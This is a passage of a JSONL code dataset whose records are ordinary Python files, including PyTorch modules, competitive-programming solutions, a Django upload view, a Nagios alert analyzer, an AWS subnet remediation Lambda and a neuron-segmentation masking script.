+{"seq_id":"19281526121","text":"import pickle\nimport torch\nimport transformers\nimport copy\n\ntransformers.logging.set_verbosity(50)\n\nclass PromptPool(torch.nn.Module):\n    def __init__(self, config, device):\n        super().__init__()\n        self.total = config.total\n        self.prompt_projection = config.prompt_projection\n        # if config.\n        self.kdim = config.d_model\n\n        self.select_times = torch.ones(6)\n        self.update_times = True\n        self.select_idx = -1\n        self.choose_pool_key = config.choose_pool_key\n        # self.device = device\n\n        self.key_list = torch.nn.Parameter(torch.tensor(0.01*torch.rand(self.total, self.kdim), requires_grad=True))\n        if self.prompt_projection:\n            # # Use a two-layer MLP to encode the prompt\n            self.embeddings = torch.nn.ModuleList([torch.nn.Embedding(config.prompt_seq_len, config.hidden_size) for j in range(self.total)])\n\n            self.trans = torch.nn.Sequential(\n                torch.nn.Linear(config.hidden_size, config.prompt_hidden_size),\n                torch.nn.Tanh(),\n                torch.nn.Linear(config.prompt_hidden_size, config.num_decoder_layers * 2 * config.hidden_size)\n            )\n        else:\n            self.embeddings = torch.nn.ModuleList([torch.nn.Embedding(config.prompt_seq_len, config.num_decoder_layers * 2 * config.hidden_size)\n                               for j in range(self.total)])\n\n    def set_idx(self, idx):\n        self.select_idx = idx\n\n    def forward(self, prompt: torch.Tensor):\n        if self.prompt_projection:\n            if self.choose_pool_key > 0:\n                self.select_idx = self.choose_pool_key\n            # print(f\"select_idx is {self.select_idx}\")\n            prompt_tokens = self.embeddings[self.select_idx](prompt)\n            prompt_kvs = self.trans(prompt_tokens)\n        else:\n            prompt_kvs = self.embedding[self.select_idx](prompt)\n        return prompt_kvs\n\nclass PromptEncoder(torch.nn.Module):\n    r'''\n        The torch.nn model to encode the prompt\n\n        Input shape: (batch-size, prompt-length)\n\n        Output shape: (batch-size, prompt-length, 2*layers*hidden)\n        '''\n\n    def __init__(self, config):\n        super().__init__()\n        self.prompt_projection = config.prompt_projection\n        if self.prompt_projection:\n            # Use a two-layer MLP to encode the prompt\n            self.embedding = torch.nn.Embedding(config.prompt_seq_len, config.hidden_size)\n            self.trans = torch.nn.Sequential(\n                torch.nn.Linear(config.hidden_size, config.prompt_hidden_size),\n                torch.nn.Tanh(),\n                torch.nn.Linear(config.prompt_hidden_size, config.num_decoder_layers * 2 * config.hidden_size)\n            )\n        else:\n            self.embedding = torch.nn.Embedding(config.prompt_seq_len, config.num_decoder_layers * 2 * config.hidden_size)\n\n    def forward(self, prompt: torch.Tensor):\n        if self.prompt_projection:\n            prompt_tokens = self.embedding(prompt)\n            prompt_kvs = self.trans(prompt_tokens)\n        else:\n            prompt_kvs = self.embedding(prompt)\n        return prompt_kvs","repo_name":"LJunius/FewVLM","sub_path":"src/prompt_pool.py","file_name":"prompt_pool.py","file_ext":"py","file_size_in_byte":3129,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"60"}
+{"seq_id":"29554948089","text":"class Solution(object):\n    def uniquePaths(self, m, n):\n        \"\"\"\n        :type m: int\n        :type n: int\n        :rtype: int\n        \"\"\"\n        dp = []\n        for i in xrange(n):\n            row = [0] * m\n            dp.append(row)\n        \n        dp[0][0] = 1\n        for i in xrange(n):\n            for j in xrange(m):\n                dp[i][j] += (dp[i - 1][j] if i > 0 else 0) + (dp[i][j - 1] if j > 0 else 0)\n        \n        return dp[n - 1][m - 1]\n","repo_name":"P-ppc/leetcode","sub_path":"algorithms/UniquePaths/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"30345415416","text":"# -*- coding: utf-8 -*-\n\nn = int(raw_input())\n\nRED = 2400\n\nfor i in xrange(n):\n    handle, before, after = raw_input().split()\n    before = int(before)\n    after = int(after)\n\n    if before >= RED and (after > before):\n        print('YES')\n        break\nelse:\n    print('NO')\n","repo_name":"smirnoffmg/codeforces","sub_path":"681A.py","file_name":"681A.py","file_ext":"py","file_size_in_byte":276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"74804700030","text":"import torch\ntorch.cuda.current_device() #command for turning CUDA on\n\nimport os\nfrom os.path import join \n\nfrom django.http import HttpResponseRedirect\nfrom django.shortcuts import render\nfrom django.views import View\nfrom .forms import UploadForm\n\nfrom app_utils import generate_random_filename\nfrom app_utils import clean_me, clean_directory, create_directory\nfrom app_utils import convertToJPG\nfrom app_utils import extract_raw_images\nfrom app_utils import build_video\n\nfrom deoldify.network import colorize_image, colorize_video\nfrom esrgan.network import esrgan_img, esrgan_video\n\ntorch.backends.cudnn.benchmark=True\nos.environ['CUDA_VISIBLE_DEVICES']='0'\n\nfile_image_ext = ('.jpg', '.jpeg', '.png', '.gif')\nfile_video_ext = ('.mp4')\n\nresults_img_directory = '/usr/src/app/results/image/'\nresults_video_directory = '/usr/src/app/results/video/'\n\nclass Index(View):\n    template = 'index.html'\n\n    def get(self, request):\n        data = dict()\n        data['form'] = UploadForm()\n\n        return render(request, self.template, data)\n\n    def post(self, request):\n        #clean_directory(results_img_directory)\n        #clean_directory(results_video_directory)\n\n        form = UploadForm(request.POST, request.FILES)\n\n        if form.is_valid():\n            for file in request.FILES.getlist('files'):\n                file_full_name = generate_random_filename(file.name)\n                file_name, file_ext = os.path.splitext(file_full_name)\n                file_type = 'image' if file_ext in file_image_ext else 'video'\n                file_path = join((results_img_directory if file_type == 'image' else results_video_directory), file_full_name)\n                \n                with open(file_path, 'wb+') as destination:\n                    for chunk in file.chunks():\n                        destination.write(chunk)\n\n                dain = False #val_form.dain\n                deoldify = form.cleaned_data['deoldify']\n                esrgan = form.cleaned_data['esrgan']\n\n                if file_type == 'image' and file_ext != '.jpg':\n                    convertToJPG(file_path)\n                    clean_me(file_path)\n                    file_path = join(os.path.dirname(file_path), file_name + '.jpg')\n\n                if file_type == 'video':\n                    extract_raw_images(file_path)\n                    if dain:\n                        pass\n                    if deoldify:\n                        colorize_video(file_path)\n                    if esrgan:\n                        esrgan_video(file_path)\n                    build_video(file_path)\n                else:\n                    if dain:\n                        pass\n                    if deoldify:\n                        colorize_image(file_path)\n                    if esrgan:\n                        esrgan_img(file_path)\n            return HttpResponseRedirect('/success')\n        \n        else:\n            data = dict()\n            data['form'] = UploadForm()\n            data['answer'] = \"Something gone wrong, try again\"\n\n            return render(request, self.template, data)\n\nclass Success(View):\n    template = 'success.html'\n\n    def get(self, request):\n        return render(request, self.template)","repo_name":"Sitisom/neuroproject_django","sub_path":"app/upload/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3199,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"44698305939","text":"# what sorts of people were more likely to survive?を解く\n# testデータにはtest.csvを使う\n# trainデータにはtrain.csvを使う\n# このファイルはmain.py\n# このファイルはtrain.csvを使って学習させる\n# このファイルはtest.csvを使って予測させる\n# gender_submission.csvはtest.csvの回答を示す\n# このファイルはgender_submission.csvを使って正解率を測る\n\n#%%\n# 0. ライブラリのインポート\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nsns.set()\nfrom sklearn.linear_model import LinearRegression\n\n\n#%%\n# 1. データの読み込み\ntest = pd.read_csv(\"test.csv\") # testデータの読み込み\ntrain = pd.read_csv(\"train.csv\") #  trainデータの読み込み\n\n#%%\ntrain[\"Title\"] = train[\"Name\"].apply(lambda x: x.split(',')[1].split('.')[0].strip()) # 敬称を抽出\ntest[\"Title\"] = test[\"Name\"].apply(lambda x: x.split(',')[1].split('.')[0].strip()) # 敬称を抽出\n\n#%%\ntitleGroups = {\n    'Mr': 'Mr', 'Mrs': 'Mrs', 'Miss': 'Miss', 'Master': 'Master',\n    'Don': 'Mr', 'Rev' : 'Rev', 'Dr' : 'Dr', 'Mme': 'Mrs',\n    'Ms': 'Miss', 'Major': 'Mr', 'Lady': 'Mrs', 'Sir': 'Mr', \n    'Mlle': 'Miss', 'Col': 'Mr', 'Capt': 'Mr', \n    'the Countess': 'Mrs','Jonkheer': 'Mr'\n} # 敬称をグループ分け\n\n# %%\n","repo_name":"mizu-orient/kaggleStudy","sub_path":"00_titanic/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1328,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"19839418593","text":"# -*- coding:utf-8 -*-\n'''\nCreated on Feb 19, 2016\nauthor: youzeshun  (IM: 8766)\n\n#用途：从保存有nagios报警记录的数据库中读取信息，分析报警然后发送结论\n\n流程：\n1.dbMgr循环检查数据库\n2.StatiAlert过滤（私网等）统计（有效信息：源和目的地）\n3.analyfault分析统计结果\n4.CAlert处理分析结果\n'''\n\nfrom public.define import *\nfrom define import *\nimport alsconf\nimport copy\nimport analyrange\nfrom alertserver import datamnt\n\ng_IsSend = True\n\ndef GetNewAlert():\n\tDataList = ExecManagerFunc('dbnagios', 'CheckUpdate', alsconf.DB_NAGIOS_TABLE)  # Content表如果更新了，则把更新的内容交给g_oStati.Start\n\treturn DataList\n\ndef StatiAlert(NewDataList):\n\tExecManagerFunc('stati', 'Start', NewDataList)\n\ndef AnalyFault():\n\tdSummary = GetManagerAttr('stati', 'm_SummaryDict')\n\tdStati = copy.deepcopy(dSummary)\n\tExecManagerFunc(\"analyfault\", 'Start', dStati)\n\ndef SendSummary(dSummary):\n\tglobal g_IsSend\n\tif not dSummary:\n\t\treturn\n\tif not 'body' in dSummary:\n\t\treturn\n\tif GetLevel() == 1:  # 最少需要xx条报警发送到群中.一次判断故障后不会再对此次故障的累计结果进行报警\n\t\tif g_IsSend:\n\t\t\tg_IsSend = False\n\t\t\tAlert(dSummary, alsconf.OPS_MNT)\n\telse:\n\t\tg_IsSend = True\n\t\tif GetSum() >= alsconf.THR_MIN_USER_SEND:  # 最少需要xx条报警才发送给使用者\n\t\t\tExecManagerFunc('delayalert', 'Alert', dSummary, alsconf.IM_USER, 1, alsconf.PATH_LOG_ALERT)\n\t\t\ndef TranSRRange(SRList):\n\tTmpList = []\n\tfor sSRAbbr in SRList:\n\t\tsSRName = datamnt.AbbrToName(sSRAbbr)\n\t\tif sSRName:\n\t\t\tTmpList.append(sSRName)\n\t\telse:\n\t\t\tsDebug = '简称转全称过程失败,简称为%s：' % (sSRAbbr)\n\t\t\tLog(PATH_LOG_ERR, sDebug)\n\treturn TmpList\n\ndef FormatSRInfo():\n\tFaultDict = GetManagerAttr('analyfault', 'm_SummaryDict')\n\tif GetLevel() == 1:\n\t\tsFaultType\t = '级别：故障'\n\telse:\n\t\tsFaultType\t = '级别：波动'\n\tsSRAbbr\t\t = FaultDict['sr']['title']\n\tsSRName\t\t = datamnt.AbbrToName(sSRAbbr)\n\tsTitle\t\t = '位置：%s(%s)' % (sSRName, FaultDict['sr']['fault'])\n\t\n\tSRAbbrList\t = GetSRRange()\n\tSRNameList\t = TranSRRange(SRAbbrList)\n\tsSRRange\t = '影响机房范围：%s %s'\t\t % (GetInfluencePercent(), ','.join(SRNameList))\n\t# sNetRange\t='影响网络范围：%s'%(str(SummaryDict['netrange']))\t\t#运维-小桂子(2693) 2016-4-20 这个我认为先不要加了，意义不大\n\tsStartTime\t = '起始统计时间：%s'\t\t\t % (GetStartTime())\n\tsEndTime\t = '结束统计时间：%s'\t\t\t % (GetEndTime())\n\tsSum\t\t = '（以上消息基于%i条报警）'\t % (GetSum())\n\t# sPerce=str(SummaryDict['perce'])\n\tSummaryDict = {\n\t\t\t'title'\t:sTitle,\n\t\t\t'body'\t:sFaultType + '\\n' + sTitle + '\\n' + sSRRange + '\\n' + sStartTime + '\\n' + sEndTime + '\\n' + sSum,\n\t\t\t}\n\treturn SummaryDict\n\ndef FormatLineInfo():\n\tsThiefName, sPoliceName = GetSRRange()\n\tsThiefIPe, sPoliceIP = GetFault()\n\tsOperator = datamnt.IPToOperator(sPoliceIP)\n\tif GetLevel() == 1:\n\t\tsFaultType\t = '级别：故障'\n\telse:\n\t\tsFaultType\t = '级别：波动'\n\tsTitle\t\t = '位置：%s>>>%s>>>%s'\t\t % (sThiefName, sOperator, sPoliceName)\n\tsSRRange\t = '影响机房范围：%s,%s'\t\t % (sThiefName, sPoliceName)\n\t# sNetRange\t='影响网络范围：%s'%(str(SummaryDict['netrange']))\t\t#运维-小桂子(2693) 2016-4-20 这个我认为先不要加了，意义不大\n\tsStartTime\t = '起始统计时间：%s'\t\t\t % (GetStartTime())\n\tsEndTime\t = '结束统计时间：%s'\t\t\t % (GetEndTime())\n\tsSum\t\t = '（以上消息基于%i条报警）'\t % (GetSum())\n\t# sPerce=str(SummaryDict['perce'])\n\tSummaryDict = {\n\t\t\t'title'\t:sTitle,\n\t\t\t'body'\t:sFaultType + '\\n' + sTitle + '\\n' + sSRRange + '\\n' + sStartTime + '\\n' + sEndTime + '\\n' + sSum,\n\t\t\t}\n\treturn SummaryDict\n\n# {'title': ('cz', 'sy'), 'netrange': ['112.73.64.4', '222.132.63.4', '124.95.140.119'], 'fault': ('cz', 'sy'), 'perce': 1.0, 'type': 'line', 'srrange': ('cz', 'sy')}\n# 需要额外增加一种没有匹配到任何规则，但是需要让人知道现在的故障分布的情况\ndef Format():\n\tFaultDict = GetManagerAttr('analyfault', 'm_SummaryDict')\n\tif 'title' in FaultDict['line']:\n\t\tSummaryDict = FormatLineInfo()\n\telif'title' in FaultDict['sr']:\n\t\tSummaryDict = FormatSRInfo()\n\telse:\n\t\treturn {}\n\treturn SummaryDict\n\ndef IsGtTHR(SummaryDict):\n\tif SummaryDict['type'] == 'server room':\n\t\tif SummaryDict['percent'] >= alsconf.THR_SR:  # 用于衡量报警的可信度\n\t\t\treturn 1\n\t\tsText = '可信度不足的结论' + str(SummaryDict)\n\t\tLog(PATH_LOG_DEBUG, sText)\n\t\treturn 0\n\telif SummaryDict['type'] == 'line':\n\t\tif SummaryDict['percent'] >= alsconf.THR_LINE:\n\t\t\treturn 1\n\t\tsText = '可信度不足的结论' + str(SummaryDict)\n\t\tLog(PATH_LOG_DEBUG, sText)\n\t\treturn 0\n\ndef Debug(SummaryDict):\n\tif SummaryDict:\n\t\tSRStatiDict = GetSRStati()\n\t\tLineStatiDict = GetLineStati()\n\t\tdDebug = {\n\t\t\t\t'title'\t:'Debug:' + str(SummaryDict['title']),\n\t\t\t\t'body'\t:'【nagios自动分析】开发者Debug消息\\n【正文】：\\n' + SummaryDict['body'] + '\\n【Debug】\\n报警准确否：' + str(SRStatiDict) + str(LineStatiDict) + '\\ntitle重复否:' + str(SummaryDict['title']),\n\t\t\t}\n\t\t# if alsconf.IM_USER==alsconf.IM_GROUP_DEVELOPER:\t\t#说明是调试状态\n\t\t# \tdDebug['body']='【测试版信息】\\n'+SummaryDict['body']\n\t\tAlert(dDebug, alsconf.IM_GROUP_DEVELOPER)\n\t\treturn\n\tStatiList = GetVector()\n\tdDebug = {\n\t\t\t\t'title'\t:'Debug:没有匹配中',\n\t\t\t\t'body'\t:'【nagios自动分析】开发者Debug消息\\n矢量信息%s' % (str(StatiList)),\n\t\t\t}\n\tif not 'body' in SummaryDict:\n\t\treturn\n\tif alsconf.IM_USER == alsconf.IM_GROUP_DEVELOPER:  # 说明是调试状态\n\t\tdDebug['body'] = '【测试版信息】\\n' + SummaryDict['body']\n\tAlert(dDebug, alsconf.IM_GROUP_DEVELOPER)\n\t\ndef AnalyRange():\n\tSummaryDict = GetManagerAttr(\"analyfault\", 'm_SummaryDict')\n\tif SummaryDict:\n\t\tExecManagerFunc('range', 'Start', copy.deepcopy(SummaryDict))\n\ndef AutoAnaly(NewDataList):\n\tStatiAlert(NewDataList)  # 统计报警信息\n\tAnalyFault()  # 定位故障点\n\tAnalyRange()\n\tSummaryDict = Format()  # 格式化报警数据\n\tSendSummary(SummaryDict)  # 发送结论\n\t# Debug(SummaryDict)\n\t\n# #检查最近一条记录的产生时间，如果有更新的则激活算法，并一次性读取所有更新的内容\ndef Start():\n\tRemove_Call_Out('nagiosping')\n\tCall_Out(Functor(Start), alsconf.PERIOD_CHECK_DB, 'nagiosping')  # 为了不重名，使用文件名作为注册名\n\t# 将各个功能拆开，方便进行测试\n\tNewAlertList = GetNewAlert()  # 获得最新的报警信息\n\tAutoAnaly(NewAlertList)\n\t\n","repo_name":"disunlike/alert","sub_path":"alertserver/nagiosping.py","file_name":"nagiosping.py","file_ext":"py","file_size_in_byte":6471,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"16876757572","text":"# DFS와 BFS\n# 제공되는 데이터는 정점, 간선, 시작 번호와 정점 간의 연결 관계이다\n# 이 데이터를 연결리스트 형태로 바꾼다\n# 이후 DFS, BFS 함수를 구현해 경로를 출력하면 완성\n\nfrom collections import deque\n\nn, m, s = map(int, input().split())\ngraph = []\nfor i in range(n+1):\n    graph.append([])\n\nfor i in range(m):\n    a, b = map(int, input().split())\n    graph[a].append(b)\n    graph[a].sort()\n    graph[b].append(a)\n    graph[b].sort()\n\nvisited = []\ndef DFS(s, visited):\n    print(s, end=\" \")\n    visited.append(s)\n    for i in graph[s]:\n        if i not in visited:\n            DFS(i, visited)\n\ndef BFS(s):\n    print()\n    queue = deque()\n    visited = []\n    visited.append(s)\n    queue.append(s)\n    while queue:\n        ns = queue.popleft()\n        print(ns, end=\" \")\n        for i in graph[ns]:\n            if i not in visited:\n                queue.append(i)\n                visited.append(i)\n\nDFS(s, visited)\nBFS(s)\n","repo_name":"borish3198/Problem_Solving","sub_path":"BOJ/DFS_BFS/1260.py","file_name":"1260.py","file_ext":"py","file_size_in_byte":982,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"21297705420","text":"import boto3\nfrom botocore.config import Config\nfrom botocore.exceptions import ClientError\n \nboto_config = Config(\n     retries = {\n             'mode': 'standard',\n             'max_attempts': 10\n         }\n     )\n \n\n \ndef connect_to_ec2():\n    return boto3.client('ec2', config=boto_config)\n \ndef lambda_handler(event, _):\n     \"\"\"\n      Disable public IP auto assignment on a subnet.\n\n      `event` should have the following keys and values:\n      `subnet_arn`: the ARN of the subnet that has public IP auto assignment enabled.\n  \n      `context` is ignored\n     \"\"\"\n \n     subnet_arn = event['subnet_arn']\n\n     subnet_id = subnet_arn.split('/')[1]\n \n     disable_publicip_auto_assign(subnet_id)\n \n     subnet_attributes = describe_subnet(subnet_id)\n\n     public_ip_on_launch = subnet_attributes['Subnets'][0]['MapPublicIpOnLaunch']\n \n     if public_ip_on_launch == False:  \n        return {\n                \"MapPublicIpOnLaunch\": public_ip_on_launch\n            }\n\n     raise RuntimeError(f'ASR Remediation failed - {subnet_id} did not have public IP auto assignment turned off.')\n    \n \ndef disable_publicip_auto_assign(subnet_id):\n     \"\"\"\n     Disables public IP Auto Assign on the subnet `subnet_id`\n     \"\"\"  \n     ec2 = connect_to_ec2()\n     try:\n        ec2.modify_subnet_attribute(MapPublicIpOnLaunch={'Value':False},SubnetId=subnet_id)\n \n     except Exception as e:\n        exit(f'There was an error turning off public IP auto assignment: '+str(e))\n \ndef describe_subnet(subnet_id):\n    \"\"\"\n    Grabs Subnet Attributes to verify subnet values were set as expected.\n    \"\"\"\n    ec2 = connect_to_ec2()\n    try:\n        subnet_attributes = ec2.describe_subnets(SubnetIds=[subnet_id])\n        return subnet_attributes\n \n    except Exception as e:\n        exit(f'Failed to get attributes of subnet: '+str(e))","repo_name":"aws-solutions/automated-security-response-on-aws","sub_path":"source/remediation_runbooks/scripts/disable_publicip_auto_assign.py","file_name":"disable_publicip_auto_assign.py","file_ext":"py","file_size_in_byte":1818,"program_lang":"python","lang":"en","doc_type":"code","stars":304,"dataset":"github-code","pt":"60"}
+{"seq_id":"42753984603","text":"import daisy\nimport numpy as np\nimport sys\nimport lsd\nimport logging\nimport collections\nimport multiprocessing\nimport scipy.ndimage as ndimage\nimport gt_tools\n\nlogging.basicConfig(level=logging.INFO)\nlogger = logging.getLogger(__name__)\n\n\n'''\nChangelog:\n5/23/19\n- use \"file\" instead\n- add option to use non skeleton corrected segmentation\n- disable processing of unlabeled because it is not necessary to make labels_mask\n\n'''\n\n\ndef add_merge_error_fragments(\n        fragments,\n        segment_array,\n        slice_segments,\n        rag,\n        ambiguous_fragments):\n    '''For each set of global segmentation, check if their local segmentation\n    are the same or not. This includes unlabeled regions.'''\n\n    '''Algorithm\n        1. Find segments belonging to a segmentid\n        2. For these segments, get all local id\n        3. If more than one, there is at least one split\n        Then\n            for each segment\n            get their neighbors\n            if the neighbor has the same global id but different local id\n            TODO....\n    '''\n\n    fragments_by_global_id = collections.defaultdict(set)\n    fragment_local_id = {}\n    for f in fragments:\n        zyx = daisy.Coordinate(f[1])\n        segid = segment_array[zyx]\n        fragments_by_global_id[segid].add(f)\n\n    for segid in fragments_by_global_id:\n        # check if they all have the same id\n        if segid == 0:\n            continue\n\n        fragments = fragments_by_global_id[segid]\n        fragments_by_local_id = collections.defaultdict(list)\n        # fragments_in_gt = set()\n        for f in fragments:\n            # fragments_in_gt.add(f[0])\n            zyx = daisy.Coordinate(f[1])\n            local_segid = slice_segments[zyx]\n            fragments_by_local_id[local_segid].append(f)\n\n        # for each set of fragments that do not have the same slice_id\n        # get the fragment's neighbors\n        # check if the neighbor belongs to any other local segments\n        # if so, add both in the ignore list\n        if len(fragments_by_local_id) > 1:\n            for local_segid in fragments_by_local_id:\n                local_fragments = set(\n                    [f[0] for f in fragments_by_local_id[local_segid]])\n                for f in local_fragments:\n                    neighbors = list(rag.adj[f].keys())\n                    for n in neighbors:\n                        if n == f:\n                            assert False\n                            continue\n                        if ((n not in local_fragments) and\n                                (n in fragments_in_gt)):\n                            if f < n:\n                                ambiguous_fragments.add(tuple([f, n]))\n                            else:\n                                ambiguous_fragments.add(tuple([n, f]))\n                            # ambiguous_fragments.add(n)\n\n\ndef add_split_error_fragments(\n        fragments,\n        segment_array,\n        slice_segments,\n        rag,\n        ambiguous_fragments):\n\n    '''Algorithm\n        1. Find fragments belonging to a slide id\n        2. For these fragments, get their global id\n        3. If more than one, there is at least one split error\n        Then\n            for each segment\n            get the neighbors that have the same slide id\n            if the neighbor has a different global id, there's a split\n    '''\n\n    fragments_by_local_id = collections.defaultdict(set)\n    fragment_global_id = {}\n    for f in fragments:\n        zyx = daisy.Coordinate(f[1])\n        segid = slice_segments[zyx]\n        fragments_by_local_id[segid].add(f)\n\n    for local_segid in fragments_by_local_id:\n        # check if they all have the same id\n        if local_segid == 0:\n            continue\n\n        # print(\"Processing local segment %s\" % local_segid)\n        fragments = fragments_by_local_id[local_segid]\n        # print(\"Fragments: %s\" % fragments)\n        fragments_by_global_id = collections.defaultdict(list)\n        # all_sectionwise_fragments = set()\n        for f in fragments:\n            # all_sectionwise_fragments.add(f[0])\n            zyx = daisy.Coordinate(f[1])\n            global_segid = segment_array[zyx]\n            fragments_by_global_id[global_segid].append(f)\n            fragment_global_id[f[0]] = global_segid\n\n        if len(fragments_by_global_id) > 1:\n            # print(\"fragments_by_global_id %s\" % fragments_by_global_id)\n            fragments_ids = set([f[0] for f in fragments])\n            for f in fragments:\n                fragment_id = f[0]\n                neighbors = set(rag.adj[fragment_id].keys())\n                for nid in neighbors:\n                    if (nid in fragments_ids\n                            and fragment_global_id[fragment_id] != fragment_global_id[nid]):\n                        if fragment_id < nid:\n                            ambiguous_fragments.add(tuple([fragment_id, nid]))\n                        else:\n                            ambiguous_fragments.add(tuple([nid, fragment_id]))\n\n\n            # for gt_segid in fragments_by_global_id:\n            #     if gt_segid == 0:\n            #         continue\n            #     global_fragments_of_segid = set(\n            #         [f[0] for f in fragments_by_global_id[gt_segid]])\n            #     other_fragments = all_sectionwise_fragments - global_fragments_of_segid\n            #     for f in global_fragments_of_segid:\n            #         neighbors = set(rag.adj[f].keys())\n            #         intersect = neighbors & other_fragments\n            #         for n in intersect:\n            #             if f < n:\n            #                 ambiguous_fragments.add(tuple([f, n]))\n            #             else:\n            #                 ambiguous_fragments.add(tuple([n, f]))\n\n\nzlib_lock = multiprocessing.Lock()\nzlib_lock2 = multiprocessing.Lock()\n\n\ndef process_block(\n        block,\n        file,\n        fragments_ds_path,\n        segment_f,\n        segment_ds_path,\n        # unlabeled_f,\n        # unlabeled_ds_path,\n        rag_provider,\n        hi_threshold_ds,\n        lo_threshold_ds,\n        mask_ds,\n        ):\n\n    total_roi = block.read_roi\n    # print(\"block.read_roi: %s\" % block.read_roi)\n\n    # print(\"resetting mask...\")\n    if reset_mask:\n        mask_ds[total_roi] = 0\n    fragments_ds = daisy.open_ds(file, fragments_ds_path)\n    total_roi = total_roi.intersect(fragments_ds.roi)\n    if total_roi.empty():\n        return 0\n\n    with zlib_lock:\n        gt_ndarray = None\n        while gt_ndarray is None:\n            segment_ds = daisy.open_ds(segment_f, segment_ds_path)\n            try:\n                gt_ndarray = segment_ds[block.read_roi].to_ndarray()\n            except:\n                print(\"Failed zlib read\")\n                gt_ndarray = None\n        segment_array = daisy.Array(\n            gt_ndarray, block.read_roi, segment_ds.voxel_size)\n\n    # print(\"hi_threshold_ds.roi: %s\" % hi_threshold_ds.roi)\n    # print(\"fragments_ds.roi: %s\" % fragments_ds.roi)\n    # print(\"segment_ds.roi: %s\" % segment_ds.roi)\n    # print(\"total_roi.roi: %s\" % total_roi)\n\n    rag = rag_provider[total_roi]\n\n    all_nodes = rag.node\n    fragments = []\n    for n in all_nodes:\n        if \"center_z\" in all_nodes[n]:\n            f = all_nodes[n]\n            fragments.append(\n                (n, (f[\"center_z\"], f[\"center_y\"], f[\"center_x\"])))\n\n    ambiguous_fragments = set()\n\n    # add_merge_error_fragments(\n    #     fragments,\n    #     segment_array,\n    #     hi_threshold_ds[total_roi],\n    #     rag,\n    #     ambiguous_fragments)\n\n    add_split_error_fragments(\n        fragments,\n        segment_array,\n        lo_threshold_ds[total_roi],\n        rag,\n        ambiguous_fragments)\n\n    add_split_error_fragments(\n        fragments,\n        hi_threshold_ds[total_roi],\n        segment_array,\n        rag,\n        ambiguous_fragments)\n\n    # print(\"Relabeling %s\" % total_roi)\n    # print(\"Reading fragments..\")\n    fragments = fragments_ds[total_roi].to_ndarray()\n\n    # print(\"Relabeling ambiguous regions..\")\n    labels_mask = np.ones_like(fragments, dtype=mask_ds.dtype)\n    ambiguous_regions = get_ambiguous_boundary(ambiguous_fragments, fragments)\n    labels_mask = np.logical_and(labels_mask, ambiguous_regions)\n\n    # print(\"Write mask..\")\n    mask_ds[total_roi] = labels_mask\n\n    # print(\"Masking out unlabeled regions...\")\n    # mask_array = mask_ds[block.read_roi].to_ndarray()\n    # mask_array[gt_ndarray == 0] = 0\n    # mask_ds[block.read_roi] = mask_array\n\n    return 0\n\n\ndef get_ambiguous_boundary(fragment_pairs, fragments, steps=5):\n\n    out = np.zeros_like(fragments, dtype=np.uint8)\n\n    for m, n in fragment_pairs:\n\n        # print(\"m: %d n: %d\" % (m, n))\n\n        m_label = fragments == m\n        n_label = fragments == n\n        m_grown = ndimage.binary_dilation(\n            m_label, iterations=steps)\n        m_margin = np.logical_and(m_grown, n_label)\n        out = np.logical_or(out, m_margin)\n\n        n_grown = ndimage.binary_dilation(\n            n_label, iterations=steps)\n        n_margin = np.logical_and(n_grown, m_label)\n        out = np.logical_or(out, n_margin)\n\n    return np.logical_not(out)\n\n\n# def check_block(block, ds):\n\n#     read_roi = ds.roi.intersect(block.read_roi)\n#     if read_roi.empty():\n#         return True\n\n#     center_coord = (read_roi.get_begin() +\n#                     read_roi.get_end()) / 2\n#     center_values = ds[center_coord]\n#     s = np.sum(center_values)\n\n#     return s != 0\n\n\nif __name__ == \"__main__\":\n\n    # user_configs, global_config = task_helper.parseConfigs(sys.argv[1:])\n\n    config = gt_tools.load_config(sys.argv[1])\n\n    debug = False\n    reset_mask = True\n    num_workers = 16\n    # debug = True\n\n    affs_file = config[\"affs_file\"]\n    segment_f = config[\"segment_file\"]\n    file = affs_file\n    fragments_ds = daisy.open_ds(file, \"volumes/fragments\")\n    z_hi_threshold_ds = daisy.open_ds(file, \"volumes/segmentation_slice_z_0.900\")\n    z_lo_threshold_ds = daisy.open_ds(file, \"volumes/segmentation_slice_z_0.100\")\n    if \"skeleton_file\" in config:\n        segment_ds_path = config[\"segmentation_skeleton_ds\"]\n    else:\n        assert False\n        segment_ds_path = config[\"segment_ds\"]\n\n    segment_ds = daisy.open_ds(segment_f, segment_ds_path)\n    rag_provider = lsd.persistence.MongoDbRagProvider(\n        config[\"db_name\"],\n        config[\"db_host\"],\n        mode='r+',\n        edges_collection=config[\"db_edges_collection\"])\n    voxel_size = segment_ds.voxel_size\n    context = 0  # nm\n    # xy_step = 40\n    total_roi_offset = segment_ds.roi.get_offset()\n    total_roi_shape = segment_ds.roi.get_shape()\n    total_roi = daisy.Roi(total_roi_offset, total_roi_shape)\n\n    z_step = voxel_size[0]\n    slice_z_shape = [x for x in total_roi_shape]\n    slice_z_shape[0] = z_step\n    slice_z_shape[1] = slice_z_shape[1] - 2*context\n    slice_z_shape[2] = slice_z_shape[2] - 2*context\n    slice_z_roi = daisy.Roi(total_roi_offset, slice_z_shape)\n    slice_z_step = daisy.Coordinate((z_step, 0, 0))\n    slice_z_roi_entire = [x for x in total_roi_shape]\n    slice_z_roi_entire[0] = z_step\n    slice_z_roi_entire = daisy.Roi((0, 0, 0), slice_z_roi_entire)\n\n    hi_threshold_ds = z_hi_threshold_ds\n    lo_threshold_ds = z_lo_threshold_ds\n    slice_roi = slice_z_roi\n    slice_step = slice_z_step\n    slice_roi_entire = slice_z_roi_entire\n\n    mask_ds = daisy.prepare_ds(\n        file,\n        \"volumes/labels/labels_mask_z\",\n        total_roi,\n        segment_ds.voxel_size,\n        np.uint8,\n        